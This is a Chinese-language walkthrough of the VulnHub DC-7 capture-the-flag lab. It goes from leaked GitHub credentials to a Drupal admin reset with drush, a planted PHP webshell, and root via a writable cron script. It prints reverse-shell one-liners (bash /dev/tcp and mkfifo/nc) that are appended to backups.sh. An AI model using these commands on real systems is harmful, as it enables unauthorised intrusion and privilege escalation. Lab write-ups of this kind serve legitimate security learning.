微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

vulnhub渗透实战-DC7

先nmap一下,发现开放了22端口的ssh服务和80端口的http服务:

 

whatweb确定一下是用drupal搭建的:

dirb不到什么有价值的信息,直接浏览器访问80端口试试:

 

 这儿应该是提示,说暴力破解没用,要think "outside" the Box

根据左下角一个很像用户名提示,在搜索引擎上搜索信息,然后在github上找到相关信息:

 

 看来就是这儿了。其中的config.PHP如下:

<?PHP
    $servername = "localhost";
    $username = "dc7user";
    $password = "MdR3xOgB7#dW";
    $dbname = "Staff";
    $conn = MysqLi_connect($servername, $username, $password, $dbname);
?>

通过用户名和密码登陆之前的ssh服务,登陆成功:

 

 进去以后发现有一个mBox一个backups文件夹,先看看mBox

 

 mBox里面记录的应该是一个定时的计划任务,可以看到时间间隔大约为15min,计划任务为/opt/scripts/backups.sh:

 

 看一下这个计划任务的脚本是干啥的:

 

 可以看到先进入/var/www/html目录,然后使用drush修改数据库的一些信息。经查询,drush命令主要用于管理drupal的数据库相关信息。

那么我们先切换目录,然后通过drush命令修改admin用户的密码为123:

 

 然后通过login页面登陆成功:

 

 登陆进去以后在content模块下发现可以写入basic page:

 

 结合之前whatweb到的解释器语言为PHP,想到写入PHP代码,但是发现目前只能写入静态HTML不支持PHP代码,因为Drupal 8后为了安全,需要将PHP单独作为一个模块导入。那么就导入PHP模块吧。

根据网上的安装教程一步一步来 :

https://ftp.drupal.org/files/projects/PHP-8.x-1.0.tar.gz

 

 

 

 

 

 

 

 

 

 PHP模块安装成功。下面就通过在basic page写入一句话木马即可:

 

 然后kali本地打开监听端口9999,通过url传参注入反弹shell的命令:

 

 反弹shell成功:

 

 还记得之前的/opt/scripts/backups.sh么

 

 这个脚本目前是root用户www-data组的,所以我们对他有rwx权限。那么对该脚本进行修改

 

也可以这么修改

 echo "bash -i >& /dev/tcp/192.168.190.150/1234 0>&1" >> /opt/scripts/backups.sh

 echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.190.150 1234 >/tmp/f" >> backups.sh

mkfifo命令创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)

然后等待计划任务自己执行(因为如果以www-data的身份去执行,反弹回来的还是www-data的shell):

反弹shell成功:

 

 结束。

 

参考:

https://blog.csdn.net/weixin_43583637/article/details/102809227

https://blog.csdn.net/weixin_46128614/article/details/104037722

 

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。

相关推荐